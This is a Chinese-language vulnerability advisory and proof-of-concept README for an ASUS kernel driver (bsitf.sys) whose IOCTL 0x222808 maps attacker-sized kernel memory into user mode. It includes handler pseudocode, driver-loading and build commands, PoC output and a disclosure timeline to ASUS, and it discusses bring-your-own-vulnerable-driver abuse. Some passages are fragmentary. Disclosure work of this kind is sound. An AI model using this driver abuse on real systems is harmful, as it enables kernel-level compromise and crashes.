ASUS bsitf.sys(也以 AsusBSItf.sys 形式分发)内核驱动暴露了 IOCTL 0x222808,该 IOCTL 分配攻击者控制大小的物理连续内核内存,将其映射到调用进程的地址空间并赋予完全读写权限,同时返回用户态虚拟地址和物理地址给调用者。
该设备需要管理员权限才能打开,这使得这是一个从管理员到内核的提权。在 BYOVD(自带易受攻击驱动)场景中,已经拥有管理员权限的攻击者(例如通过社会工程或单独漏洞)可以加载这个合法签名的驱动,从而无需内核漏洞即可获得任意内核内存访问权限。
| 版本 | 文件名 | 包 | 池类型 |
|---|---|---|---|
| 3.0.10.0 | bsitf.sys | ASUS Business Manager / AbmSvcPackage | NonPagedPool(可执行) |
| 3.1.10.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | NonPagedPoolNx |
| 3.1.25.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | NonPagedPoolNx |
所有版本都会创建设备 \Device\bsitf,符号链接为 \DosDevices\bsitf。
映射的缓冲区是一个全新的内核池分配,而非任意内核地址。调用者控制其内容但不控制其位置。与真正的任意内核读写相比,这限制了利用方式。
NonPagedPool,导致蓝屏死机。未强制实施大小上限或分配限制。NonPagedPool(可执行)。可以从用户态将 Shellcode 写入映射的缓冲区,但需要通过另一个漏洞将内核执行重定向到该缓冲区地址。在 v3.1.x 版本(NonPagedPoolNx)中,缓冲区不可执行,实际影响仅限于拒绝服务和物理地址泄露。
分发处理程序中的 IOCTL 0x222808 执行以下操作,且未进行输入验证:
alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer; // user-controlled
kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
MmBuildMdlForNonPagedPool(mdl);
user_va = MmMapLockedPages(mdl, UserMode);
output[0] = user_va; // usermode virtual address
output[1] = physical_addr; // physical address of allocation
未检查分配大小、未释放分配数量或输入验证。该设备需要管理员才能打开,但一旦获取句柄,IOCTL 不受限制。
cargo build --release
sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
sc start bsitf
# 默认:0x1000(4KB)分配
cargo run --release
# 自定义大小(十六进制)
cargo run --release -- 10000
[*] bsitf.sys kernel memory mapping PoC
[*] target alloc size: 0x1000
[+] device handle acquired
[*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
[+] kernel allocation succeeded:
usermode VA: 0x000001D856F90000
physical addr: 0x00000000BF6CB000
[*] original contents (first 16 bytes):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[*] writing 0xCC pattern (int3 sled)...
[+] readback: usermode R/W CONFIRMED
[*] freeing kernel mapping via IOCTL 0x22280C
[+] mapping freed successfully
已在 Windows 11 24H2 上测试(需要管理员权限)
NonPagedPoolNx| 日期 | 事件 |
|---|---|
| 2026-04-06 | 通过自动化分析发现漏洞 |
| 2026-04-06 | 在 Windows 11 24H2 上确认 PoC |
| 2026-04-06 | 报告已提交至 ASUS PSIRT |
\Device\bsitf,符号链接:\DosDevices\bsitfFUN_140001070此概念验证仅用于授权的安全研究和负责任披露。请勿将其用于未经您拥有或明确授权测试的系统。